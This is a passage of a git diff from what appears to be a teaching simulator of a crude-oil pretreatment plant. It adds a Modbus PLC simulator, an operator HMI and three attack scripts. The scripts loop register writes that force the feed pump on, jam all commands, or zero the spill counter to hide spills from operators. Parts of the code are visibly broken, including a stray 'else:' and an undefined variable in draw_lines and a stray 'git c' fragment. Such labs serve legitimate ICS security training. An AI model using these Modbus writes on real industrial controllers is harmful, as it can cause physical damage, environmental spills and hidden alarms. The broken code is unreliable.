ModbusAsciiFramer + +# - World Simulator +import sys, random +import pygame +from pygame.locals import * +from pygame.color import * +import pymunk + +import socket + +import argparse +import os +import sys +import time + +# Override Argument parser to throw error and generate help message +# if undefined args are passed +class MyParser(argparse.ArgumentParser): + def error(self, message): + sys.stderr.write('error: %s\n' % message) + self.print_help() + sys.exit(2) + +# Create argparser object to add command line args and help option +parser = MyParser( + description = 'This Python script starts the SCADA/ICS World Server', + epilog = '', + add_help = True) + +# Add a "-i" argument to receive a filename +parser.add_argument("-t", action = "store", dest="server_addr", + help = "Modbus server IP address to listen on") + +# Print help if no args are supplied +if len(sys.argv)==1: + parser.print_help() + sys.exit(1) + +# Split and process arguments into "args" +args = parser.parse_args() + +logging.basicConfig() +log = logging.getLogger() +log.setLevel(logging.INFO) + +# Display settings +SCREEN_WIDTH = 580 +SCREEN_HEIGHT = 460 +FPS=50.0 + +# Port the world will listen on +MODBUS_SERVER_PORT=5020 + +# Amount of oil spilled/processed +oil_spilled_amount = 0 +oil_processed_amount = 0 + +# PLC Register values for various control functions +PLC_FEED_PUMP = 0x01 +PLC_TANK_LEVEL = 0x02 +PLC_OUTLET_VALVE = 0x03 +PLC_SEP_VESSEL = 0x04 +PLC_SEP_FEED = 0x05 +PLC_OIL_SPILL = 0x06 +PLC_OIL_PROCESSED = 0x07 + +# Collision types +tank_level_collision = 0x4 +ball_collision = 0x5 +outlet_valve_collision = 0x6 +sep_vessel_collision = 0x7 +separator_collision = 0x8 +oil_spill_collision = 0x9 + + +def to_pygame(p): + """Small hack to convert pymunk to pygame coordinates""" + return int(p.x), int(-p.y+600) + +# Add "oil" to the world space +def add_ball(space): + mass = 0.01 + radius = 3 + inertia = pymunk.moment_for_circle(mass, 0, radius, (0,0)) + body = pymunk.Body(mass, inertia) + body._bodycontents.v_limit = 120 + body._bodycontents.h_limit = 1 + x = random.randint(69, 70) + body.position = x, 565 + shape = pymunk.Circle(body, radius, (0,0)) + shape.collision_type = ball_collision #liquid + space.add(body, shape) + return shape + +# Add a ball to the space +def draw_ball(screen, ball, color=THECOLORS['brown']): + p = int(ball.body.position.x), 600-int(ball.body.position.y) + pygame.draw.circle(screen, color, p, int(ball.radius), 2) + +# Add the separator vessel feed +def separator_vessel_feed(space): + body = pymunk.Body() + body.position = (420, 257) + radius = 4 + shape = pymunk.Circle(body, radius, (0, 0)) + shape.collision_type = separator_collision # Collision value for separator + space.add(shape) + return shape + +# Add the separator vessel release +def separator_vessel_release(space): + body = pymunk.Body() + body.position = (387, 225) + radius = 4 + shape = pymunk.Circle(body, radius, (0, 0)) + shape.collision_type = sep_vessel_collision + space.add(shape) + return shape + +# Add the tank level sensor +def tank_level_sensor(space): + body = pymunk.Body() + body.position = (115, 535) + radius = 3 + shape = pymunk.Circle(body, radius, (0, 0)) + shape.collision_type = tank_level_collision # tank_level + space.add(shape) + return shape + +def outlet_valve_sensor(space): + body = pymunk.Body() + body.position = (70, 410) + # Check these coords and adjust + a = (-20, 10) + b = (20, 10) + radius = 4 + shape = pymunk.Segment(body, a, b, radius) + shape.collision_type = outlet_valve_collision + space.add(shape) + return shape + +def oil_spill_sensor(space): + body = pymunk.Body() + body.position = (0, 0) + radius = 7 + a = (0, 75) + b = (SCREEN_WIDTH, 75) + shape = pymunk.Segment(body, a, b, radius) + shape.collision_type = oil_spill_collision # oil spill sensor + space.add(shape) + return shape + +# Add the feed pump to the space +def add_pump(space): + body = pymunk.Body() + body.position = (70, 585) + shape = pymunk.Poly.create_box(body, (15, 20), (0, 0), 0) + space.add(shape) + return shape + +# Draw the various "pipes" that the oil flows through +# TODO: Get rid of magic numbers and add constants + offsets +def add_oil_unit(space): + body = pymunk.Body() + body.position = (300,300) + + #oil storage unit + l1 = pymunk.Segment(body, (-278, 270), (-278, 145), 5) #left side line + l2 = pymunk.Segment(body, (-278, 145), (-246, 107), 5) + l3 = pymunk.Segment(body, (-180, 270), (-180, 145), 5) #right side line + l4 = pymunk.Segment(body, (-180, 145), (-215, 107), 5) + + #pipe to separator vessel + l5 = pymunk.Segment(body, (-246, 107), (-246, 53), 5) #left side vertical line + l6 = pymunk.Segment(body, (-246, 53), (-19, 53), 5) #bottom horizontal line + l7 = pymunk.Segment(body, (-19, 53), (-19, 33), 5) + l8 = pymunk.Segment(body, (-215, 107), (-215, 80), 5) #right side vertical line + l9 = pymunk.Segment(body, (-215, 80), (7, 80), 5) #top horizontal line + l10 = pymunk.Segment(body, (7, 80), (7, 33), 5) + + #separator vessel + l11 = pymunk.Segment(body, (-19, 31), (-95, 31), 5) #top left horizontal line + l12 = pymunk.Segment(body, (-95, 31), (-95, -23), 5) #left side vertical line + l13 = pymunk.Segment(body, (-95, -23), (-83, -23), 5) + l14 = pymunk.Segment(body, (-83, -23), (-80, -80), 5) #left waste exit line + l15 = pymunk.Segment(body, (-68, -80), (-65, -23), 5) #right waste exit line + l16 = pymunk.Segment(body, (-65, -23), (-45, -23), 5) + l17 = pymunk.Segment(body, (-45, -23), (-45, -67), 5) #elevation vertical line + l18 = pymunk.Segment(body, (-45, -67), (13, -67), 5) #left bottom line + l19 = pymunk.Segment(body, (13, -67), (13, -82), 5) #left side separator exit line + l20 = pymunk.Segment(body, (43, -82), (43, -67), 5) #right side separator exit line + l21 = pymunk.Segment(body, (43, -67), (65, -62), 5) #rigt side diagonal line + l22 = pymunk.Segment(body, (65, -62), (77, 31), 5) #right vertical line + l23 = pymunk.Segment(body, (77, 31), (7, 31), 5) #top right horizontal line + l24 = pymunk.Segment(body, (-3, -67), (-3, 10), 5) #center separator line + + #separator exit pipe + l25 = pymunk.Segment(body, (43, -85), (43, -113), 5) #right side vertical line + l26 = pymunk.Segment(body, (43, -113), (580, -113), 5) #top horizontal line + l27 = pymunk.Segment(body, (13, -85), (13, -140), 5) #left vertical line + l28 = pymunk.Segment(body, (13, -140), (580, -140), 5) #bottom horizontal line + + #waste water pipe + l29 = pymunk.Segment(body, (-87, -85), (-87, -112), 5) #left side waste line + l30 = pymunk.Segment(body, (-60, -85), (-60, -140), 5) #right side waste line + l31 = pymunk.Segment(body, (-87, -112), (-163, -112), 5) #top horizontal line + l32 = pymunk.Segment(body, (-60, -140), (-134, -140), 5) #bottom horizontal line + l33 = pymunk.Segment(body, (-163, -112), (-163, -185), 5) #left side vertical line + l34 = pymunk.Segment(body, (-134, -140), (-134, -185), 5) #right side vertical line + + space.add(l1, l2, l3, l4, l5, l6, l7, l8, l9, l10, l11, l12, l13, l14, l15, + l16, l17, l18, l19, l20, l21, l22, l23, l24, l25, + l26, l27, l28, l29, l30, l31, l32, l33, l34) # 3 + + return (l1,l2,l3,l4,l5,l6,l7,l8,l9,l10,l11,l12,l13,l14,l15,l16, + l17,l18,l19,l20,l21,l22,l23,l24,l25,l26,l27,l28,l29,l30, + l31,l32,l33,l34) + +def draw_polygon(bg, shape): + points = shape.get_vertices() + fpoints = [] + for p in points: + fpoints.append(to_pygame(p)) + pygame.draw.polygon(bg, THECOLORS['black'], fpoints) + +# Draw a single line to the screen +def draw_line(screen, line, color = None): + body = line.body + pv1 = body.position + line.a.rotated(body.angle) # 1 + pv2 = body.position + line.b.rotated(body.angle) + p1 = to_pygame(pv1) # 2 + p2 = to_pygame(pv2) + if color is None: + pygame.draw.lines(screen, THECOLORS["black"], False, [p1,p2]) + else: + pygame.draw.lines(screen, color, False, [p1,p2]) + +# Draw lines from an iterable list +def draw_lines(screen, lines): + for line in lines: + body = line.body + pv1 = body.position + line.a.rotated(body.angle) # 1 + else: + p1 = to_pygame(pv1) # 2 + p2 = to_pygame(pv2) + pygame.draw.lines(screen, THECOLORS["gray"], False, [p1,p2]) + +# Default collision function for objects +# Returning true makes the two objects collide normally just like "walls/pipes" +def no_collision(space, arbiter, *args, **kwargs): + return True + +# Called when level sensor in tank is hit +def level_reached(space, arbiter, *args, **kwargs): + log.debug("Level reached") + PLCSetTag(PLC_TANK_LEVEL, 1) # Level Sensor Hit, Tank full + PLCSetTag(PLC_FEED_PUMP, 0) # Turn off the pump +# PLCSetTag(PLC_OUTLET_VALVE, 1) # Set the outlet valve to 1 + return False + +def oil_spilled(space, arbiter, *args, **kwargs): + global oil_spilled_amount + global oil_processed_amount + log.debug("Oil Spilled") + oil_spilled_amount = oil_spilled_amount + 1 + PLCSetTag(PLC_OIL_SPILL, oil_spilled_amount) # We lost a unit of oil + PLCSetTag(PLC_FEED_PUMP, 0) # Attempt to shut off the pump + return False + +# This fires when the separator level is hit +def sep_on(space, arbiter, *args, **kwargs): + log.debug("Begin separation") + PLCSetTag(PLC_SEP_VESSEL, 1) # Sep vessel hit, begin processing + return False + +# This fires when the separator is not processing +def sep_off(space, arbiter, *args, **kwargs): + log.debug("Begin separation") + PLCSetTag(PLC_SEP_VESSEL, 0) # Sep vessel hit, begin processing + return False + +def sep_feed_on(space, arbiter, *args, **kwargs): + log.debug("Outlet Feed") + PLCSetTag(PLC_SEP_FEED, 1) + return False + +def outlet_valve_open(space, arbiter, *args, **kwargs): + log.debug("Outlet valve open") + PLCSetTag(PLC_OUTLET_VALVE, 0) + return False + +def outlet_valve_closed(space, arbiter, *args, **kwargs): + log.debug("Outlet valve close") + PLCSetTag(PLC_OUTLET_VALVE, 1) + return False + +def run_world(): + pygame.init() + screen = pygame.display.set_mode((SCREEN_WIDTH, SCREEN_HEIGHT)) + pygame.display.set_caption("Crude Oil Pretreatment Unit") + clock = pygame.time.Clock() + running = True + + + # Create game space (world) and set gravity to normal + space = pymunk.Space() #2 + space.gravity = (0.0, -900.0) + + # When oil collides with tank_level, call level_reached + space.add_collision_handler(tank_level_collision, ball_collision, begin=level_reached) + space.add_collision_handler(oil_spill_collision, ball_collision, begin=oil_spilled) + + + pump = add_pump(space) + lines = add_oil_unit(space) + tank_level = tank_level_sensor(space) + separator_vessel = separator_vessel_release(space) + separator_feed = separator_vessel_feed(space) + separator_feed = separator_vessel_feed(space) + oil_spill = oil_spill_sensor(space) + outlet = outlet_valve_sensor(space) + + + balls = [] + + ticks_to_next_ball = 1 + + # Set font settings + fontBig = pygame.font.SysFont(None, 40) + fontMedium = pygame.font.SysFont(None, 26) + fontSmall = pygame.font.SysFont(None, 18) + + while running: + # Advance the game clock + clock.tick(FPS) + + for event in pygame.event.get(): + if event.type == QUIT: + running = False + elif event.type == KEYDOWN and event.key == K_ESCAPE: + running = False + + bg = pygame.image.load("oil_unit.png") + + screen.fill(THECOLORS["grey"]) + + # If the feed pump is on + if PLCGetTag(PLC_FEED_PUMP) == 1: + # Draw the valve if the pump is on + # If the oil reaches the level sensor at the top of the tank + if (PLCGetTag(PLC_TANK_LEVEL) == 1): + PLCSetTag(PLC_FEED_PUMP, 0) + space.add_collision_handler(sep_vessel_collision, ball_collision, begin=sep_on) + space.add_collision_handler(separator_collision, ball_collision, begin=sep_feed_on) + + else: + space.add_collision_handler(outlet_valve_collision, ball_collision, begin=no_collision) + + if PLCGetTag(PLC_OUTLET_VALVE) == 1: # Valve is closed + space.add_collision_handler(outlet_valve_collision, ball_collision, begin=outlet_valve_closed) + elif PLCGetTag(PLC_OUTLET_VALVE) == 0: # Valve is open + space.add_collision_handler(outlet_valve_collision, ball_collision, begin=no_collision) + + # If the separator process is turned on + if PLCGetTag(PLC_SEP_VESSEL) == 1: + space.add_collision_handler(sep_vessel_collision, ball_collision, begin=sep_on) + space.add_collision_handler(separator_collision, ball_collision, begin=sep_feed_on) + else: + space.add_collision_handler(sep_vessel_collision, ball_collision, begin=no_collision) + space.add_collision_handler(separator_collision, ball_collision, begin=no_collision) + + + ticks_to_next_ball -= 1 + + if ticks_to_next_ball <= 0 and PLCGetTag(PLC_FEED_PUMP) == 1: + ticks_to_next_ball = 1 + ball_shape = add_ball(space) + balls.append(ball_shape) + + balls_to_remove = [] + for ball in balls: + if ball.body.position.y < 0 or ball.body.position.x > SCREEN_WIDTH+150: + balls_to_remove.append(ball) + + draw_ball(bg, ball) + + for ball in balls_to_remove: + space.remove(ball, ball.body) + balls.remove(ball) + + draw_polygon(bg, pump) + draw_lines(bg, lines) + draw_ball(bg, tank_level, THECOLORS['black']) + draw_ball(bg, separator_vessel, THECOLORS['black']) + draw_ball(bg, separator_feed, THECOLORS['black']) + draw_line(bg, outlet) + + #draw_ball(screen, separator_feed, THECOLORS['red']) + title = fontMedium.render(str("Crude Oil Pretreatment Unit"), 1, THECOLORS['blue']) + name = fontBig.render(str("VirtuaPlant"), 1, THECOLORS['gray20']) + instructions = fontSmall.render(str("(press ESC to quit)"), 1, THECOLORS['gray']) + feed_pump_label = fontMedium.render(str("Feed Pump"), 1, THECOLORS['blue']) + oil_storage_label = fontMedium.render(str("Oil Storage Unit"), 1, THECOLORS['blue']) + separator_label = fontMedium.render(str("Separator Vessel"), 1, THECOLORS['blue']) + waste_water_label = fontMedium.render(str("Waste Water Treatment Unit"), 1, THECOLORS['blue']) + tank_sensor = fontSmall.render(str("Tank Level Sensor"), 1, THECOLORS['blue']) + separator_release = fontSmall.render(str("Separator Vessel Release Sensor"), 1, THECOLORS['blue']) + waste_sensor = fontSmall.render(str("Waste Water Sensor"), 1, THECOLORS['blue']) + outlet_sensor = fontSmall.render(str("Outlet Valve Sensor"), 1, THECOLORS['blue']) + + bg.blit(title, (300, 40)) + bg.blit(name, (347, 10)) + bg.blit(instructions, (SCREEN_WIDTH-115, 0)) + bg.blit(feed_pump_label, (80, 0)) + bg.blit(oil_storage_label, (125, 100)) + bg.blit(separator_label, (385,275)) + screen.blit(waste_water_label, (265, 490)) + bg.blit(tank_sensor, (125, 50)) + bg.blit(outlet_sensor, (90, 195)) + bg.blit(separator_release, (350, 375)) + bg.blit(waste_sensor, (90, 375)) + screen.blit(bg, (0, 0)) + + space.step(1/FPS) + pygame.display.flip() + + if reactor.running: + reactor.callFromThread(reactor.stop) + +store = ModbusSlaveContext( + di = ModbusSequentialDataBlock(0, [0]*100), + co = ModbusSequentialDataBlock(0, [0]*100), + hr = ModbusSequentialDataBlock(0, [0]*100), + ir = ModbusSequentialDataBlock(0, [0]*100)) + +context = ModbusServerContext(slaves=store, single=True) + +# Modbus PLC server information +identity = ModbusDeviceIdentification() +identity.VendorName = 'Simmons Oil Refining Platform' +identity.ProductCode = 'SORP' +identity.VendorUrl = 'http://simmons.com/markets/oil-gas/pages/refining-industry.html' +identity.ProductName = 'SORP 3850' +identity.ModelName = 'Simmons ORP 3850' +identity.MajorMinorRevision = '2.09.01' + +def startModbusServer(): + # Run a modbus server on specified address and modbus port (5020) + StartTcpServer(context, identity=identity, address=(args.server_addr, MODBUS_SERVER_PORT)) + +def main(): + reactor.callInThread(run_world) + startModbusServer() + +if __name__ == '__main__': + sys.exit(main()) diff --git a/plants/oil-refinery/attacks/constant_running.py b/plants/oil-refinery/attacks/constant_running.py new file mode 100755 index 0000000..5235ec1 --- /dev/null +++ b/plants/oil-refinery/attacks/constant_running.py @@ -0,0 +1,66 @@ +#!/usr/bin/env python + +from pymodbus.client.sync import ModbusTcpClient as ModbusClient +from pymodbus.exceptions import ConnectionException +import logging + +import argparse +import os +import sys +import time + +# Override Argument parser to throw error and generate help message +# if undefined args are passed +class MyParser(argparse.ArgumentParser): + def error(self, message): + sys.stderr.write('error: %s\n' % message) + self.print_help() + sys.exit(2) + +# Create argparser object to add command line args and help option +parser = MyParser( + description = 'This attack scripts sets register values so the PLC constantly spews oil into the system', + epilog = '', + add_help = True) + +# Add a "-i" argument to receive a filename +parser.add_argument("-t", action = "store", dest="target", + help = "Target modbus IP address") + +# Print help if no args are supplied +if len(sys.argv)==1: + parser.print_help() + sys.exit(1) + +# Split and process arguments into "args" +args = parser.parse_args() + +logging.basicConfig() +log = logging.getLogger() +log.setLevel(logging.INFO) + +##################################### +# Code +##################################### +client = ModbusClient(args.target, port=5020) + +try: + client.connect() + print ". . . Connecting to PLC" + print ". . . Please wait." + time.sleep(3) + print ". . . Attacking PLC at " + args.target + ":5020" + time.sleep(1) + print ". . . Attack successful!" + print ". . . PLC will now constantly pump oil" + while True: + rq = client.write_register(0x01, 1) # Run Plant, Run! + rq = client.write_register(0x02, 0) # Level Sensor + rq = client.write_register(0x04, 0) # Limit Switch + rq = client.write_register(0x03, 0) # Outlet valve + rq = client.write_register(0x08, 0) # Waste valve + +except KeyboardInterrupt: + client.close() +except ConnectionException: + print "Unable to connect / Connection lost" diff --git a/plants/oil-refinery/attacks/nothing_runs.py b/plants/oil-refinery/attacks/nothing_runs.py new file mode 100755 index 0000000..65cd092 --- /dev/null +++ b/plants/oil-refinery/attacks/nothing_runs.py @@ -0,0 +1,67 @@ +#!/usr/bin/env python + +from pymodbus.client.sync import ModbusTcpClient as ModbusClient +from pymodbus.exceptions import ConnectionException +import logging + +import argparse +import os +import sys +import time + +# Override Argument parser to throw error and generate help message +# if undefined args are passed +class MyParser(argparse.ArgumentParser): + def error(self, message): + sys.stderr.write('error: %s\n' % message) + self.print_help() + sys.exit(2) + +# Create argparser object to add command line args and help option +parser = MyParser( + description = 'This attack scripts sets register values so that nothing on the PLC will run', + epilog = '', + add_help = True) + +# Add a "-i" argument to receive a filename +parser.add_argument("-t", action = "store", dest="target", + help = "Target modbus IP address") + +# Print help if no args are supplied +if len(sys.argv)==1: + parser.print_help() + sys.exit(1) + +# Split and process arguments into "args" +args = parser.parse_args() + + +logging.basicConfig() +log = logging.getLogger() +log.setLevel(logging.INFO) + +##################################### +# Code +#####################################git c +client = ModbusClient(args.target, port=5020) + +try: + client.connect() + print ". . . Connecting to PLC" + print ". . . Please wait." + time.sleep(3) + print ". . . Attacking PLC at " + args.target + ":5020" + time.sleep(1) + print ". . . Attack successful!" + print ". . . Jamming all PLC commands!" + while True: + rq = client.write_register(0x01, 0) # Run Plant, Run! + rq = client.write_register(0x02, 0) # Level Sensor + rq = client.write_register(0x04, 0) # Limit Switch + rq = client.write_register(0x03, 0) # Outlet valve + rq = client.write_register(0x08, 0) # Waste valve + +except KeyboardInterrupt: + client.close() +except ConnectionException: + print "Unable to connect / Connection lost" diff --git a/plants/oil-refinery/attacks/run_no_spill.py b/plants/oil-refinery/attacks/run_no_spill.py new file mode 100755 index 0000000..35a11e5 --- /dev/null +++ b/plants/oil-refinery/attacks/run_no_spill.py @@ -0,0 +1,65 @@ +#!/usr/bin/env python + +from pymodbus.client.sync import ModbusTcpClient as ModbusClient +from pymodbus.exceptions import ConnectionException +import logging + +import argparse +import os +import sys +import time + +# Override Argument parser to throw error and generate help message +# if undefined args are passed +class MyParser(argparse.ArgumentParser): + def error(self, message): + sys.stderr.write('error: %s\n' % message) + self.print_help() + sys.exit(2) + +# Create argparser object to add command line args and help option +parser = MyParser( + description = 'This attack scripts sets register values so the PLC constantly spews oil into the system, and also shows that no oil has spilled', + epilog = '', + add_help = True) + +# Add a "-i" argument to receive a filename +parser.add_argument("-t", action = "store", dest="target", + help = "Target modbus IP address") + +# Print help if no args are supplied +if len(sys.argv)==1: + parser.print_help() + sys.exit(1) + +# Split and process arguments into "args" +args = parser.parse_args() + +logging.basicConfig() +log = logging.getLogger() +log.setLevel(logging.INFO) + +##################################### +# Code +##################################### +client = ModbusClient(args.target, port=5020) + +try: + client.connect() + print ". . . Connecting to PLC" + print ". . . Please wait." + time.sleep(3) + print ". . . Attacking PLC at " + args.target + ":5020" + time.sleep(1) + print ". . . Attack successful!" + print ". . . PLC will now constantly pump oil" + while True: + rq = client.write_register(0x01, 1) # Run Plant, Run! + rq = client.write_register(0x02, 0) # Level Sensor + rq = client.write_register(0x04, 0) # Limit Switch + rq = client.write_register(0x06, 0) # Nope, nothing spilled + +except KeyboardInterrupt: + client.close() +except ConnectionException: + print "Unable to connect / Connection lost" diff --git a/plants/oil-refinery/oil_hmi.py b/plants/oil-refinery/oil_hmi.py new file mode 100755 index 0000000..f578462 --- /dev/null +++ b/plants/oil-refinery/oil_hmi.py @@ -0,0 +1,322 @@ +#!/usr/bin/env python + +# IMPORTS # +from gi.repository import GLib, Gtk, Gdk, GObject +from pymodbus.client.sync import ModbusTcpClient as ModbusClient +from pymodbus.exceptions import ConnectionException + +import argparse +import os +import sys +import time + +# Argument Parsing +class MyParser(argparse.ArgumentParser): + def error(self, message): + sys.stderr.write('error: %s\n' % message) + self.print_help() + sys.exit(2) + +# Create argparser object to add command line args and help option +parser = MyParser( + description = 'This Python script runs the SCADA HMI to control the PLC', + epilog = '', + add_help = True) + +# Add a "-i" argument to receive a filename +parser.add_argument("-t", action = "store", dest="server_addr", + help = "Modbus server IP address to connect the HMI to") + +# Print help if no args are supplied +if len(sys.argv)==1: + parser.print_help() + sys.exit(1) + +# Split and process arguments into "args" +args = parser.parse_args() + +MODBUS_SLEEP=1 + +class HMIWindow(Gtk.Window): + oil_processed_amount = 0 + oil_spilled_amount = 0 + + def initModbus(self): + # Create modbus connection to specified address and port + self.modbusClient = ModbusClient(args.server_addr, port=5020) + + # Default values for the HMI labels + def resetLabels(self): + self.feed_pump_value.set_markup("N/A") + self.separator_value.set_markup("N/A") + self.level_switch_value.set_markup("N/A") + self.process_status_value.set_markup("N/A") + self.connection_status_value.set_markup("OFFLINE") + self.oil_processed_value.set_markup("" + str(self.oil_processed_amount) + " Liters") + self.oil_spilled_value.set_markup("" + str(self.oil_spilled_amount) + " Liters") + self.outlet_valve_value.set_markup("N/A") + self.waste_value.set_markup("N/A") + + def __init__(self): + # Window title + Gtk.Window.__init__(self, title="Oil Refinery") + self.set_border_width(100) + + #Create modbus connection + self.initModbus() + + elementIndex = 0 + # Grid + grid = Gtk.Grid() + grid.set_row_spacing(15) + grid.set_column_spacing(10) + self.add(grid) + + # Main title label + label = Gtk.Label() + label.set_markup("Crude Oil Pretreatment Unit ") + grid.attach(label, 4, elementIndex, 4, 1) + elementIndex += 1 + + # Crude Oil Feed Pump + feed_pump_label = Gtk.Label("Crude Oil Tank Feed Pump") + feed_pump_value = Gtk.Label() + + feed_pump_start_button = Gtk.Button("START") + feed_pump_stop_button = Gtk.Button("STOP") + + feed_pump_start_button.connect("clicked", self.setPump, 1) + feed_pump_stop_button.connect("clicked", self.setPump, 0) + + grid.attach(feed_pump_label, 4, elementIndex, 1, 1) + grid.attach(feed_pump_value, 5, elementIndex, 1, 1) + grid.attach(feed_pump_start_button, 6, elementIndex, 1, 1) + grid.attach(feed_pump_stop_button, 7, elementIndex, 1, 1) + elementIndex += 1 + + # Level Switch + level_switch_label = Gtk.Label("Crude Oil Tank Level Switch") + level_switch_value = Gtk.Label() + + level_switch_start_button = Gtk.Button("ON") + level_switch_stop_button = Gtk.Button("OFF") + + level_switch_start_button.connect("clicked", self.setTankLevel, 1) + level_switch_stop_button.connect("clicked", self.setTankLevel, 0) + + grid.attach(level_switch_label, 4, elementIndex, 1, 1) + grid.attach(level_switch_value, 5, elementIndex, 1, 1) + grid.attach(level_switch_start_button, 6, elementIndex, 1, 1) + grid.attach(level_switch_stop_button, 7, elementIndex, 1, 1) + elementIndex += 1 + + #outlet valve + outlet_valve_label = Gtk.Label("Outlet Valve") + outlet_valve_value = Gtk.Label() + + outlet_vlave_open_button = Gtk.Button("OPEN") + outlet_valve_close_button = Gtk.Button("CLOSE") + + outlet_vlave_open_button.connect("clicked", self.setOutletValve, 1) + outlet_valve_close_button.connect("clicked", self.setOutletValve, 0) + + grid.attach(outlet_valve_label, 4, elementIndex, 1, 1) + grid.attach(outlet_valve_value, 5, elementIndex, 1, 1) + grid.attach(outlet_vlave_open_button, 6, elementIndex, 1, 1) + grid.attach(outlet_valve_close_button, 7, elementIndex, 1, 1) + elementIndex += 1 + + #Separator Vessel + separator_label = Gtk.Label("Separator Vessel Valve") + separator_value = Gtk.Label() + + separator_open_button = Gtk.Button("OPEN") + separator_close_button = Gtk.Button("CLOSED") + + separator_open_button.connect("clicked", self.setSepValve, 1) + separator_close_button.connect("clicked", self.setSepValve, 0) + + grid.attach(separator_label, 4, elementIndex, 1, 1) + grid.attach(separator_value, 5, elementIndex, 1, 1) + grid.attach(separator_open_button, 6, elementIndex, 1, 1) + grid.attach(separator_close_button, 7, elementIndex, 1, 1) + elementIndex += 1 + + #Waste Water Valve + waste_label = Gtk.Label("Waste Water Valve") + waste_value = Gtk.Label() + + waste_open_button = Gtk.Button("OPEN") + waste_close_button = Gtk.Button("CLOSED") + + waste_open_button.connect("clicked", self.setWasteValve, 1) + waste_close_button.connect("clicked", self.setWasteValve, 0) + + grid.attach(waste_label, 4, elementIndex, 1, 1) + grid.attach(waste_value, 5, elementIndex, 1, 1) + grid.attach(waste_open_button, 6, elementIndex, 1, 1) + grid.attach(waste_close_button, 7, elementIndex, 1, 1) + elementIndex += 1 + + # Process status + process_status_label = Gtk.Label("Process Status") + process_status_value = Gtk.Label() + grid.attach(process_status_label, 4, elementIndex, 1, 1) + grid.attach(process_status_value, 5, elementIndex, 1, 1) + elementIndex += 1 + + # Connection status + connection_status_label = Gtk.Label("Connection Status") + connection_status_value = Gtk.Label() + grid.attach(connection_status_label, 4, elementIndex, 1, 1) + grid.attach(connection_status_value, 5, elementIndex, 1, 1) + elementIndex += 1 + + # Oil Processed Status + oil_processed_label = Gtk.Label("Oil Processed Status") + oil_processed_value = Gtk.Label() + grid.attach(oil_processed_label, 4, elementIndex, 1, 1) + grid.attach(oil_processed_value, 5, elementIndex, 1, 1) + elementIndex += 1 + + # Oil Spilled Status + oil_spilled_label = Gtk.Label("Oil Spilled Status") + oil_spilled_value = Gtk.Label() + grid.attach(oil_spilled_label, 4, elementIndex, 1, 1) + grid.attach(oil_spilled_value, 5, elementIndex, 1, 1) + elementIndex += 1 + + + # Oil Refienery branding + virtual_refinery = Gtk.Label() + virtual_refinery.set_markup("Crude Oil Pretreatment Unit - HMI") + grid.attach(virtual_refinery, 4, elementIndex, 2, 1) + + # Attach Value Labels + self.feed_pump_value = feed_pump_value + self.process_status_value = process_status_value + self.connection_status_value = connection_status_value + self.separator_value = separator_value + self.level_switch_value = level_switch_value + self.oil_processed_value = oil_processed_value + self.oil_spilled_value = oil_spilled_value + self.outlet_valve_value = outlet_valve_value + self.waste_value = waste_value + + # Set default label values + self.resetLabels() + GObject.timeout_add_seconds(MODBUS_SLEEP, self.update_status) + + # Control the feed pump register values + def setPump(self, widget, data=None): + try: + self.modbusClient.write_register(0x01, data) + except: + pass + + # Control the tank level register values + def setTankLevel(self, widget, data=None): + try: + self.modbusClient.write_register(0x02, data) + except: + pass + + # Control the separator vessel level register values + def setSepValve(self, widget, data=None): + try: + self.modbusClient.write_register(0x04, data) + except: + pass + + # Control the separator vessel level register values + def setWasteValve(self, widget, data=None): + try: + self.modbusClient.write_register(0x08, data) + except: + pass + + def setOutletValve(self, widget, data=None): + try: + self.modbusClient.write_register(0x03, data) + except: + pass + + def update_status(self): + + try: + # Store the registers of the PLC in "rr" + rr = self.modbusClient.read_holding_registers(1,16) + regs = [] + + # If we get back a blank response, something happened connecting to the PLC + if not rr or not rr.registers: + raise ConnectionException + + # Regs is an iterable list of register key:values + regs = rr.registers + + if not regs or len(regs) < 16: + raise ConnectionException + + # If the feed pump "0x01" is set to 1, then the pump is running + if regs[0] == 1: + self.feed_pump_value.set_markup("RUNNING") + else: + self.feed_pump_value.set_markup("STOPPED") + + # If the level sensor is ON + if regs[1] == 1: + self.level_switch_value.set_markup("ON") + else: + self.level_switch_value.set_markup("OFF") + + # Outlet Valve status + if regs[2] == 1: + self.outlet_valve_value.set_markup("OPEN") + else: + self.outlet_valve_value.set_markup("CLOSED") + + # If the feed pump "0x04" is set to 1, separator valve is open + if regs[3] == 1: + self.separator_value.set_markup("OPEN") + self.process_status_value.set_markup("RUNNING ") + else: + self.separator_value.set_markup("CLOSED") + self.process_status_value.set_markup("STOPPED ") + + # Waste Valve status "0x08" + if regs[7] == 1: + self.waste_value.set_markup("OPEN") + else: + self.waste_value.set_markup("CLOSED") + + # If the oil spilled tag gets set, increase the amount of oil we have spilled + if regs[5]: + self.oil_spilled_value.set_markup("" + str(regs[5]) + " Liters") + # If the oil spilled tag gets set, increase the amount of oil we have spilled + if regs[6]: + self.oil_processed_value.set_markup("" + str(regs[6] + regs[8]) + " Liters") + + # If we successfully connect, then show that the HMI has contacted the PLC + self.connection_status_value.set_markup("ONLINE ") + + + except ConnectionException: + if not self.modbusClient.connect(): + self.resetLabels() + except: + raise + finally: + return True + +def app_main(): + win = HMIWindow() + win.connect("delete-event", Gtk.main_quit) + win.connect("destroy", Gtk.main_quit) + win.show_all() + + +if __name__ == "__main__": + GObject.threads_init() + app_main() + Gtk.main() diff --git a/plants/oil-refinery/oil_unit.png b/plants/oil-refinery/oil_unit.png new file mode 100755 index 0000000..e571a61 Binary files /dev/null and b/plants/oil-refinery/oil_unit.png differ diff --git a/plants/oil-refinery/oil_world.py b/plants/oil-refinery/oil_world.py new file mode 100755 index 0000000..b8ea3a0 --- /dev/null +++ b/plants/oil-refinery/oil_world.py @@ -0,0 +1,526 @@ +#!/usr/bin/env python +# NOTES: +# Values of 1 = ON, OPEN +# Values of 0 = OFF, CLOSED + +import logging + +# - Multithreading +from twisted.internet import reactor + +# - Modbus +from pymodbus.server.async import StartTcpServer +from pymodbus.device import ModbusDeviceIdentification +from pymodbus.datastore import ModbusSequentialDataBlock +from pymodbus.datastore import ModbusSlaveContext, ModbusServerContext +from pymodbus.transaction import ModbusRtuFramer, ModbusAsciiFramer + +# - World Simulator +import sys, random +import pygame +from pygame.locals import * +from pygame.color import * +import pymunk + +# Network +import socket + +# Argument parsing +import argparse + +import os +import sys +import time + +# Override Argument parser to throw error and generate help message +# if undefined args are passed +class MyParser(argparse.ArgumentParser): + def error(self, message): + sys.stderr.write('error: %s\n' % message) + self.print_help() + sys.exit(2) + +# Create argparser object to add command line args and help option +parser = MyParser( + description = 'This Python script starts the SCADA/ICS World Server', + epilog = '', + add_help = True) + +# Add a 